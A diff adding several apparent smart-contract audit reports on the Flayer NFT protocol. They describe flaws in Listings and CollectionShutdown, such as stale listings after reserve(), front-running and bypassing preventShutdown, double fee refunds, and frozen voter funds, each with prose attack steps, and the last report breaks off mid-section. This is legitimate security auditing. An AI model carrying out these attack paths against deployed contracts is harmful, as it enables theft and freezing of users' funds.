++ assertEq(params.quorumVotes, 1.5e18 * 10 ** token.denomination());
++ }
++
+ function test_CanGetContractVariables() public view {
+ // Confirm our contract addresses
+ assertEq(address(collectionShutdown.pairFactory()), address(PAIR_FACTORY));
+
+```
+
+That shows the root cause of the issue. The remaining steps are straightforward.
+
+### Mitigation
+
+Don't cast votes down to a smaller number.
\ No newline at end of file
diff --git a/001/107.md b/001/107.md
new file mode 100644
index 0000000..f06b040
--- /dev/null
+++ b/001/107.md
@@ -0,0 +1,86 @@
+Rich Chrome Whale
+
+Medium
+
+# `Listings::reserve()` doesn't delete reserved listings causing integration issue
+
+### Summary
+
+`Listings::reserve()` doesn't delete the original `_listings` mapping of NFT token that was reserved causing it to be shown as listed when its actually a protected listings in `protectedListings` contract
+
+### Root Cause
+
+undeleted `_listings` mapping of NFT token after its reserved
+
+### Internal pre-conditions
+
+Token to be listed initially.
+
+### External pre-conditions
+
+Another user comes and reserve the listed token
+
+### Attack Path
+
+When user initially creates a listing [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L130-L166) it gets mapped to `_listings` map in the following function
+
+```solidity
+File: Listings.sol
+242: function _mapListings(CreateListing calldata _createListing, uint _tokenIds) private returns (uint tokensReceived_) {
+243: // Loop through our tokens
+244: for (uint i; i < _tokenIds; ++i) {
+245: // Create our initial listing and update the timestamp of the listing creation to now
+246: _listings[_createListing.collection][_createListing.tokenIds[i]] = Listing({
+247: owner: _createListing.listing.owner,
+248: created: uint40(block.timestamp),
+249: duration: _createListing.listing.duration,
+250: floorMultiple: _createListing.listing.floorMultiple
+251: });
+252: }
+253:
+254: // Our user will always receive one ERC20 per ERC721
+255: tokensReceived_ = _tokenIds * 1 ether;
+256: }
+```
+
+Now a user see this NFT and wants to `reserve()` it [Here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L690-L759) that doesn't delete the old listing and creates protected listing
+```solidity
+File: Listings.sol
+737: uint[] memory tokenIds = new uint[](1);
+738: tokenIds[0] = _tokenId;
+739: IProtectedListings.CreateListing[] memory createProtectedListing = new IProtectedListings.CreateListing[](1);
+740: createProtectedListing[0] = IProtectedListings.CreateListing({
+741: collection: _collection,
+742: tokenIds: tokenIds,
+743: listing: IProtectedListings.ProtectedListing({
+744: owner: payable(address(this)),
+745: tokenTaken: uint96(1 ether - _collateral),
+746: checkpoint: 0 // Set in the `createListings` call
+747: })
+748: });
+749:
+750: // Create our listing, receiving the ERC20 into this contract
+751: protectedListings.createListings(createProtectedListing);
+```
+
+Now The user can unlock his protected Listing [Here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L287-L329) and can have the NFT in his wallet, yet the `_listings` mapping in `Listings` contract still shows that NFT as listing
+
+### Impact
+
+Quoting this from the audit readMe
+> ### Q: Should potential issues, like broken assumptions about function behavior, be reported if they could pose risks in future integrations, even if they might not be an issue in the context of the scope? If yes, can you elaborate on properties/invariants that should hold?
+>
+> **Flayer**
+>
+> Responses such as expected fees and tax calculations should be correct for external protocols to utilise. It is also important that each NFT has a correct status. Having tokens that aren’t held by Flayer listed as for sale, protected listings missing, etc. would be detrimental.
+
+
+Now as described above There will be a listing that shown as a listing in `listings.sol` when its actually reserved in `protectedListings` contract Causing integration issue and contradicting the readMe
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Delete the listings in `reserve()` function
\ No newline at end of file
diff --git a/001/108.md b/001/108.md
new file mode 100644
index 0000000..dccfe09
--- /dev/null
+++ b/001/108.md
@@ -0,0 +1,82 @@
+Rich Chrome Whale
+
+Medium
+
+# Malicious user can prevent `lockerManager` from executing `CollectionShutdown` function
+
+### Summary
+
+Malicious user front run `CollectionShutdown::preventShutdown` by calling `CollectionShutdown::start` preventing preventShutdown execution.
+
+### Root Cause
+
+In-order to execute `preventShutdown` function checks that there isn't currently a shutdown in progress
+[CollectionShutdown.sol#L420](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L420)
+
+```solidity
+File: CollectionShutdown.sol
+415: function preventShutdown(address _collection, bool _prevent) public {
+416: // Make sure our user is a locker manager
+417: if (!locker.lockerManager().isManager(msg.sender)) revert ILocker.CallerIsNotManager();
+418:
+419: // Make sure that there isn't currently a shutdown in progress
+420:@> if (_collectionParams[_collection].shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
+421:
+422: // Update the shutdown to be prevented
+423: shutdownPrevented[_collection] = _prevent;
+424: emit CollectionShutdownPrevention(_collection, _prevent);
+425: }
+
+```
+
+The idea to prevent this is to frontrun the `preventShutdowd` to change the condition and revert.
+
+The `_collectionParams[_collection].shutdownVotes` is changed in `_vote` function that is called in `start` function
+
+[CollectionShutdown.sol#L156](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L156)
+
+```solidity
+File: CollectionShutdown.sol
+135: function start(address _collection) public whenNotPaused {
+//snip
+155: // Cast our vote from the user
+156:@> _collectionParams[_collection] = _vote(_collection, params);
+157: }
+158:
+```
+
+Going to `_vote`
+[CollectionShutdown.sol#L200](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L200)
+
+```solidity
+File: CollectionShutdown.sol
+191: function _vote(address _collection, CollectionShutdownParams memory params) internal returns (CollectionShutdownParams memory) {
+//snip
+200:@> params.shutdownVotes += uint96(userVotes);
+201:
+```
+
+The choice to check if Shutdown has started is a mistake there should be implementation for reverting shutdown if its started.
+
+### Internal pre-conditions
+
+1. `lockerManager` calling `CollectionShutdown::preventShutdown`.
+
+### Attack Path
+
+- Malicious user is Watching the mempool waiting for `lockerManager` to call `CollectionShutdown::preventShutdown`.
+- `lockerManager` call `CollectionShutdown::preventShutdown`.
+- Malicious user front run the `CollectionShutdown::preventShutdown` by calling `CollectionShutdown::start` (can be 1 wei vote making the attack more feasible)
+- `lockerManager` execution would revert.
+
+Knowing this is a time sensitive function DOS due to the fact that this function will be used by the `lockerManager` to prevent shutdown of important NFT collection.
+
+### Impact
+
+DOS preventing `preventShutdown` function from getting executed.
+
+### Mitigation
+
+Consider Calling that function via a private meme Pool
+
+Consider preventing minimum vote amount so that the attack becomes less feasible
\ No newline at end of file
diff --git a/001/109.md b/001/109.md
new file mode 100644
index 0000000..03c2bf1
--- /dev/null
+++ b/001/109.md
@@ -0,0 +1,92 @@
+Rich Chrome Whale
+
+High
+
+# `Listings::reserve()` will cause issues in `Locker`
+
+### Summary
+
+`Listings::reserve()` doesn't delete the original `_listings` mapping of NFT token that was reserved, This will be a problem when the new owner unlock that protected Listing and deposit it into `Locker`, it will be stuck not being able to be redeem, swaped, swapped batch due to the the check [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L223)
+
+### Root Cause
+
+undeleted `_listings` mapping of NFT token after its reserved
+
+### Internal pre-conditions
+
+Token to be listed initially.
+
+### External pre-conditions
+
+Another user comes and reserve the listed token
+
+### Attack Path
+
+When user initially creates a listing [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L130-L166) it gets mapped to `_listings` map in the following function
+
+```solidity
+File: Listings.sol
+242: function _mapListings(CreateListing calldata _createListing, uint _tokenIds) private returns (uint tokensReceived_) {
+243: // Loop through our tokens
+244: for (uint i; i < _tokenIds; ++i) {
+245: // Create our initial listing and update the timestamp of the listing creation to now
+246: _listings[_createListing.collection][_createListing.tokenIds[i]] = Listing({
+247: owner: _createListing.listing.owner,
+248: created: uint40(block.timestamp),
+249: duration: _createListing.listing.duration,
+250: floorMultiple: _createListing.listing.floorMultiple
+251: });
+252: }
+253:
+254: // Our user will always receive one ERC20 per ERC721
+255: tokensReceived_ = _tokenIds * 1 ether;
+256: }
+```
+
+Now a user see this NFT and wants to `reserve()` it [Here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L690-L759) that doesn't delete the old listing and creates protected listing
+```solidity
+File: Listings.sol
+737: uint[] memory tokenIds = new uint[](1);
+738: tokenIds[0] = _tokenId;
+739: IProtectedListings.CreateListing[] memory createProtectedListing = new IProtectedListings.CreateListing[](1);
+740: createProtectedListing[0] = IProtectedListings.CreateListing({
+741: collection: _collection,
+742: tokenIds: tokenIds,
+743: listing: IProtectedListings.ProtectedListing({
+744: owner: payable(address(this)),
+745: tokenTaken: uint96(1 ether - _collateral),
+746: checkpoint: 0 // Set in the `createListings` call
+747: })
+748: });
+749:
+750: // Create our listing, receiving the ERC20 into this contract
+751: protectedListings.createListings(createProtectedListing);
+```
+
+Now The user can unlock his protected Listing [Here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L287-L329)
+
+For some reasons after he calls `Locker::deposit()` and deposit that NFT and gets minted a `collectionToken`
+
+This token can never be redeemed again or swapped against and will stay stuck in `Locker` contract
+
+This is more problematic due to the following scenario
+1. we have in Locker 10 NFT and we have total supply of 10 `collectionToken` owned to 10 users
+2. 9 users will call `redeem` to get 9 NFTs and the 10th NFT will be the one that is still shown in listings on `Listings` contract
+3. when 10th user try to redeem that 10th NFT the redeem function will revert due to the following check `if (isListing(_collection, _tokenIds[i])) revert TokenIsListing(_tokenIds[i]);`
+
+
+as said in summary section it can't be out thro any of `swap`, `swapBatch` and `redeem`
+
+### Impact
+
+Freeze of funds
+
+The NFT that its listing haven't been deleted will be frozen in `Locker` if it ever deposited into
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Delete the listings mapping after `reserve` called
\ No newline at end of file
diff --git a/001/111.md b/001/111.md
new file mode 100644
index 0000000..e609b37
--- /dev/null
+++ b/001/111.md
@@ -0,0 +1,43 @@
+Rich Chrome Whale
+
+High
+
+# In `Listings::reserve()` undeleted Listings will cause stealing of funds
+
+### Summary
+
+`Listings::reserve()` doesn't delete the original `_listings` mapping of NFT, if the reserved token gets deposited in `Locker` then the initial owner can call `Listings::cancelListings()` refunding to him fees of the listings for the second time
+
+### Root Cause
+
+undeleted `_listings` mapping of NFT token after its reserved
+
+### Internal pre-conditions
+
+Token to be listed initially.
+
+### External pre-conditions
+
+Another user comes and reserve the listed token,then he unlocks the protected listing then he deposit it into locker before the full duration of the original listing gets passed
+
+### Attack Path
+
+1. User A List his NFT for 7 days and the fees are accounted for
+2. User B comes in day 1 and reserve it, Fees paid by User A are refunded (6 days refund) + he gets paid the above floor price
+3. User B call `unlockProtectedListing` with the money needed
+4. User B decides that he doesn't want the NFT and deposit it into `Locker` after 1 day of purchase
+5. We are now 2 days after User A listed his NFT, User A calls `Listings::cancelListings()` of the same Token that User B have reserved before, `cancelListing()` call go through refunding User A again 5 days of fees of his duration and giving him back the NFT token retrieved from the Locker. (user will have to pay floor value to get NFT token back to him but this is out of our interest here)
+
+In the above way User A has got refunded fees two times, causing loss of funds(`collectionToken`) and there will be times where the contract doesn't have enough balance to call [`depositFees`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L377) calls causing any instance of functions doing that call to revert due to actual balance present in contract will be less that the accounted for
+
+### Impact
+
+Loss of funds from Listings contract and the accounting of fees gets corrupted compared to current balance and any filled listing that will call `implementation.depositFees()` will revert to due contract running put of balance
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Delete the listings in `reserve()` function
\ No newline at end of file
diff --git a/001/112.md b/001/112.md
new file mode 100644
index 0000000..77f0e8d
--- /dev/null
+++ b/001/112.md
@@ -0,0 +1,51 @@
+Rich Chrome Whale
+
+High
+
+# relisting a previously liquidated NFT will refund fees to original owner
+
+### Summary
+
+Users calling `Listings::relist()` to NFT id that was previously listed as liquidation will cause loss of funds to the protocol due to refunding fees to the original owner when he the liquidation listing doesn't pay fees upon creation
+
+### Root Cause
+
+- When user call `relist()` we don't check if the original listing was liquidation so that we delete the mapping `_isLiquidation`
+- The problem is that when a liquidation is created it doesn't pay fees Here [`createLiquidationListing`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L178-L208)
+- Now Listing owner him self can leverage the first point by calling `relist()` but from another wallet, immediately after the liquidation is started, this will refund him 4 days duration fees giving him more funds that he initially should have got
+
+- The fact that you can relist a listed NFT with same price of current listing
+
+### Internal pre-conditions
+
+- There is a liquidated NFT that some users wants to relist, or the liquidated NFT owner can leverage this bug
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. When a liquidation is created its duration is 4 days and the floor multiple is 4_00 as seen [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L451-L462)
+2. Any liquidations doesn't pay fees during creation by design as evident [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L178-L208)
+3. Once the liquidationListing is created there can be two scenarios profitable for the liquidated original owner
+ 1. There is User that sees it immediately and think its more valuable than 400 `FLOOR_MULTIPLE` and put it to high price, this will refund the 4 days duration fees to the liquidated user since function `relist()` doesn't check for liquidated tokens
+ 2. The liquidated original owner utilize the bug and use 3 `collectionToken` from another wallet to relist the liquidated NFT and `cancelListing` in the same txn, not paying for fees and utilizing the bug of refunding fees that wasn't initially paid
+4. The fees are paid according to initially created duration `4 Days`, and will be funded to original liquidated owner [Here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L644) Since there is no check if the Listing is is `_isLiquidation` mapping
+5. Those fees weren't owned to that owner and are taken from `collectionTokens` staying in the contract as fees from other listings
+
+In the above scenario, the original owner of Liquidated NFT has got refunded fees from Liquidated position (a position that fees weren't paid for initially by design), causing loss of funds(`collectionToken`) and there will be times where the contract doesn't have enough balance to call [`depositFees`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L377)
+
+Calls causing any instance of functions having [`depositFees`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L377) call to revert due to actual balance present in contract will be less that the accounted for.
+
+### Impact
+
+Loss of funds from Listings contract and the accounting of fees gets corrupted compared to current balance and any filled listing that will call `implementation.depositFees()` will revert to due contract running out of balance
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Check and delete the `_isLiquidation` flag in relesting
\ No newline at end of file
diff --git a/001/113.md b/001/113.md
new file mode 100644
index 0000000..ed7d08f
--- /dev/null
+++ b/001/113.md
@@ -0,0 +1,100 @@
+Rich Chrome Whale
+
+Medium
+
+# Malicious user can bypass execution of `CollectionShutdown` function
+
+### Summary
+
+Malicious user bypasses `CollectionShutdown::preventShutdown` by calling `CollectionShutdown::start` then `CollectionShutdown::reclaimVote` making the use of checks in `preventShutdown` useless.
+
+### Root Cause
+
+In `preventShutdown` function there a check to make sure there isn't currently a shutdown in progress.
+
+[CollectionShutdown.sol#L420-L421](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L420-L421)
+
+```solidity
+File: CollectionShutdown.sol
+415: function preventShutdown(address _collection, bool _prevent) public {
+416: // Make sure our user is a locker manager
+417: if (!locker.lockerManager().isManager(msg.sender)) revert ILocker.CallerIsNotManager();
+418:
+419: // Make sure that there isn't currently a shutdown in progress
+420:@> if (_collectionParams[_collection].shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
+421:
+422: // Update the shutdown to be prevented
+423: shutdownPrevented[_collection] = _prevent;
+424: emit CollectionShutdownPrevention(_collection, _prevent);
+425: }
+```
+
+This check doesn't confirm that the shutdown is in progress or not user can call `CollectionShutdown::start` to start a shutdown.
+Then `CollectionShutdown::reclaimVote` to set shutdownVotes back to 0.
+
+Calling `start` function indeed increas the votes by calling `_vote`
+[CollectionShutdown.sol#L156-L157](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L156-L157)
+
+```solidity
+File: CollectionShutdown.sol
+135: function start(address _collection) public whenNotPaused {
+//code
+155: // Cast our vote from the user
+156:@> _collectionParams[_collection] = _vote(_collection, params);
+```
+
+In `_votes` the count of shotdowVotes increase which is normal
+[CollectionShutdown.sol#L200-L201](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L200-L201)
+
+```solidity
+File: CollectionShutdown.sol
+191: function _vote(address _collection, CollectionShutdownParams memory params) internal returns (CollectionShutdownParams memory) {
+//code
+199: // Register the amount of votes sent as a whole, and store them against the user
+200:@> params.shutdownVotes += uint96(userVotes);
+```
+
+There is no prevention for the use initiated the shutdown from calling `reclaimVote` .
+[CollectionShutdown.sol#L369-L370](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L369-L370)
+
+```solidity
+File: CollectionShutdown.sol
+356: function reclaimVote(address _collection) public whenNotPaused {
+//code
+368: // We delete the votes that the user has attributed to the collection
+369:@> params.shutdownVotes -= uint96(userVotes);
+```
+
+This line resets back the shutdownVotes to 0
+Making `CollectionShutdown::preventShutdown` checks useless.
+
+### Internal pre-conditions
+
+- `lockerManager` calling `CollectionShutdown::preventShutdown` .
+
+### Attack Path 1
+
+1. `lockerManager` calling CollectionShutdown::preventShutdown.
+2. Malicious user front run the `CollectionShutdown::preventShutdown` by calling `CollectionShutdown::start` and `CollectionShutdown::reclaimVote` .
+3. `lockerManger` believe this collection is prevented from shutdown but its not.
+
+### Attack Path 2
+
+1. Malicious user calling `CollectionShutdown::start` and `CollectionShutdown::reclaimVote` .
+2. `lockerManager` calling CollectionShutdown::preventShutdown.
+3. `lockerManger` believe this collection is prevented from shutdown but its not.
+
+### Impact
+
+Bypass `preventShutdown` function making it useless.
+
+### Mitigation
+
+- When doing a shutdown check for `quorumVotes` or check during `vote()` that the collection is prevented from shutdown.
+
+Change the check in `preventShutdown`.
+
+```diff
+- if (_collectionParams[_collection].shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
++ if (_collectionParams[_collection].quorumVotes != 0) revert ShutdownProcessAlreadyStarted();
+```
\ No newline at end of file
diff --git a/001/118.md b/001/118.md
new file mode 100644
index 0000000..e09ae1b
--- /dev/null
+++ b/001/118.md
@@ -0,0 +1,113 @@
+Rich Chrome Whale
+
+High
+
+# EdgeCase in `CollectionShutdown` leading to funds being stuck.
+
+### Summary
+
+EdgeCase in `CollectoinShutdown` make users funds stuck this happens when
+
+1. shutdown started.
+2. A user voted.
+3. `quorumVotes` pass and wait for execution.
+4. Execution revert due to active listing for the collection.
+5. User can't call `reclaimVote` to get back tokens because `canExecute` is true.
+6. `cancel` can't be called due to not passing the `MAX_SHUTDOWN_TOKENS`
+7. if Malicious User has listed his token for 7 days this will cause DOS of funds availability of users on weekly basis repeating that behavior
+
+### Root Cause
+
+- in `CollectionShutdown::start` should have a check for listing to prevent such EdgeCase.
+
+### Internal pre-conditions
+
+1. A userA calls `CollectionShutdown::start` to start a shutdown.
+2. A userB calls `CollectionShutdown::Vote` reaching those conditions :
+ - `shutdownVotes` pass `quorumVotes`.
+ - `canExecute` = true.
+3. A Collection has listing.
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. A user A calls `CollectionShutdown::start` to start a shutdown.
+ [CollectionShutdown.sol#L135-L136](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L135-L136)
+2. A user B calls `CollectionShutdown::Vote` reaching those conditions :
+ - `shutdownVotes` pass `quorumVotes`.
+ - `canExecute` = true.
+
+[CollectionShutdown.sol#L208-L209](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L208-L210)
+
+```solidity
+File: CollectionShutdown.sol
+191: function _vote(address _collection, CollectionShutdownParams memory params) internal returns (CollectionShutdownParams memory) {
+//// code
+208: if (!params.canExecute && params.shutdownVotes >= params.quorumVotes) {
+209:@> params.canExecute = true;
+```
+
+After canExecute is true I should call execute function but
+3. `execute` function revert due to collection has listing.
+
+[CollectionShutdown.sol#L240-L242](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L240-L242)
+
+```solidity
+File: CollectionShutdown.sol
+231: function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+////code
+240: // Check that no listings currently exist
+241:@> if (_hasListings(_collection)) revert ListingsExist();
+```
+
+4. can't call `cancel` to cancel the execution due to not passing `MAX_SHUTDOWN_TOKENS`.
+
+[CollectionShutdown.sol#L398-L399](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L398-L399)
+
+```solidity
+File: CollectionShutdown.sol
+390: function cancel(address _collection) public whenNotPaused {
+////code
+398: if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+399:@> revert InsufficientTotalSupplyToCancel();
+```
+
+5. can't call `reclaimVote` due to `canExecute`= true.
+ [CollectionShutdown.sol#L360-L361](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L360-L361)
+
+```solidity
+File: CollectionShutdown.sol
+356: function reclaimVote(address _collection) public whenNotPaused {
+////code
+360:@> if (params.canExecute) revert ShutdownQuorumHasPassed();
+```
+
+6. can't claim due to not executing the shutdown.
+ [CollectionShutdown.sol#L292-L293](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L292-L293)
+
+```solidity
+File: CollectionShutdown.sol
+285: function claim(address _collection, address payable _claimant) public nonReentrant whenNotPaused {
+////code
+292: if (params.sweeperPool == address(0)) revert ShutdownNotExecuted();
+```
+
+7. The tokens of user A and user B are stuck in the contract.
+
+There is no other way for users to get their tokens or an equivalent value, as long as the attacker keeps listing his tokens on unfavorable price on weekly basis `duration`
+
+### Impact
+
+Loss of funds
+
+### PoC
+
+N/A
+
+### Mitigation
+
+- add a check for listing in `CollectionShutdown::start` so that we don't shutdown start with listings
+- add check in Listings contract to prevent prolonging a listing or create new listing when that collection `canExecute = true`
\ No newline at end of file
diff --git a/001/119.md b/001/119.md
new file mode 100644
index 0000000..3f0d935
--- /dev/null
+++ b/001/119.md
@@ -0,0 +1,146 @@
+Rich Chrome Whale
+
+High
+
+# Voters lose their tokens due to misconfiguration in `cancel` function
+
+### Summary
+
+When a shutdown has passed the quorum and `canExecute` = true but we didn't call the `execute` function and got some liquidity now we want to cancel the shutdown process calling `cancel` function
+we Remove our execution flag `delete _collectionParams[_collection];` and users can't either get their tokens nor the equivalent.
+
+### Root Cause
+
+Missing implementation in `cancel` function to restore tokens for the voters.
+
+### Internal pre-conditions
+
+1. A user calls `start` to shut down the collection.
+2. Collection reaches the criteria to be shut.
+3. We added some liquidity and want to cancel the shutdown.
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. A user calls `start` to shut down the collection.
+2. Collection reaches the criteria to be shut.
+3. we added some liquidity and want to cancel the shutdown.
+4. `cancel` function would execute removing execution flag
+5. There is no implementation in `cancel` to give back users their votes or their tokens.
+6. Users can't call `reclaimVote` because `_collectionParams[_collection]` is deleted in `cancel`
+
+### Impact
+
+Loss of funds.
+
+### PoC
+
+1. A user calls `CollectionShutdown::start` to start a shutdown.
+
+[CollectionShutdown.sol#L135-L151](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L135-L151)
+
+```solidity
+File: CollectionShutdown.sol
+135: function start(address _collection) public whenNotPaused {
+////code
+143: // Get the total number of tokens still in circulation, specifying a maximum number
+144: // of tokens that can be present in a "dormant" collection.
+145:@> params.collectionToken = locker.collectionToken(_collection);
+```
+
+2. To execute the shutdown we need to have enough votes so users get votes and give their tokens to the contract in `vote` function.
+
+This function transfer user palance to the shutdown contract and give him a share of votes.
+
+[CollectionShutdown.sol#L191-L204](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L191-L204)
+
+```solidity
+File: CollectionShutdown.sol
+191: function _vote(address _collection, CollectionShutdownParams memory params) internal returns (CollectionShutdownParams memory) {
+192: // Take tokens from the user and hold them in this escrow contract
+193: uint userVotes = params.collectionToken.balanceOf(msg.sender);
+194: if (userVotes == 0) revert UserHoldsNoTokens();
+195:
+196: // Pull our tokens in from the user
+197:@> params.collectionToken.transferFrom(msg.sender, address(this), userVotes);
+198:
+199: // Register the amount of votes sent as a whole, and store them against the user
+200: params.shutdownVotes += uint96(userVotes);
+201:
+202: // Register the amount of votes for the collection against the user
+203: unchecked { shutdownVoters[_collection][msg.sender] += userVotes; };=
+////code
+207: // If we can execute, then we need to fire another event
+208: if (!params.canExecute && params.shutdownVotes >= params.quorumVotes) {
+209:@> params.canExecute = true;
+```
+
+Considering `params.canExecute=true`.
+
+3. We have added some liquidity for the Collection and want to cancel the shutdown.
+
+This function check if
+- `canExecute=true` to make sure we can execute
+
+- We have enough total supply
+ Then it will remove the execution flag.
+
+[CollectionShutdown.sol#L390-L403](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L403)
+
+```solidity
+File: CollectionShutdown.sol
+390: function cancel(address _collection) public whenNotPaused {
+391: // Ensure that the vote count has reached quorum
+392: CollectionShutdownParams memory params = _collectionParams[_collection];
+393:@> if (!params.canExecute) revert ShutdownNotReachedQuorum();
+394:
+395: // Check if the total supply has surpassed an amount of the initial required
+396: // total supply. This would indicate that a collection has grown since the
+397: // initial shutdown was triggered and could result in an unsuspected liquidation.
+398:@> if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+399: revert InsufficientTotalSupplyToCancel();
+400: }
+401:
+402: // Remove our execution flag
+403:@> delete _collectionParams[_collection];
+404: emit CollectionShutdownCancelled(_collection);
+```
+
+Deleting `_collectionParams[_collection]` makes the users unable to get back their tokens, since in Line 369 it will cause panic revert underflow.
+
+We are no longer can't call `reclaimVote` which should give users their tokens back.
+
+[CollectionShutdown.sol#L356-L374](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L356-L374)
+
+```solidity
+File: CollectionShutdown.sol
+356: function reclaimVote(address _collection) public whenNotPaused {
+357: // If the quorum has passed, then we can no longer reclaim as we are pending
+358: // an execution.
+359:@> CollectionShutdownParams storage params = _collectionParams[_collection];
+360: if (params.canExecute) revert ShutdownQuorumHasPassed();
+361:
+362: // Get the amount of votes that the user has cast for this collection
+363: uint userVotes = shutdownVoters[_collection][msg.sender];
+364:
+365: // If the user has not cast a vote, then we can revert early
+366: if (userVotes == 0) revert NoVotesPlacedYet();
+367:
+368: // We delete the votes that the user has attributed to the collection
+369: params.shutdownVotes -= uint96(userVotes);
+370: delete shutdownVoters[_collection][msg.sender];
+371:
+372: // We can now return their tokens
+373:@> params.collectionToken.transfer(msg.sender, userVotes);
+```
+
+And for sure can't call `claim` because no execution of shutdown happened.
+
+Users funds stucked forever in this contract.
+
+### Mitigation
+
+Add proper implementation in `cancel` to resend tokens back to the voters.
\ No newline at end of file
diff --git a/001/121.md b/001/121.md
new file mode 100644
index 0000000..e4bc67b
--- /dev/null
+++ b/001/121.md
@@ -0,0 +1,137 @@
+Lone Coconut Cat
+
+High
+
+# Relisting Can Be Used To Steal Funds
+
+## Summary
+
+Unlike creating a listing or a liquidation listing, when [`relist`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L625C14-L625C20)ing a token, the `created` timestamp of the user's [`CreateListing`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/interfaces/IListings.sol#L72C12-L72C25) argument is not validated.
+
+This can enable users to steal funds from the protocol, and subvert harberger taxes.
+
+## Vulnerability Detail
+
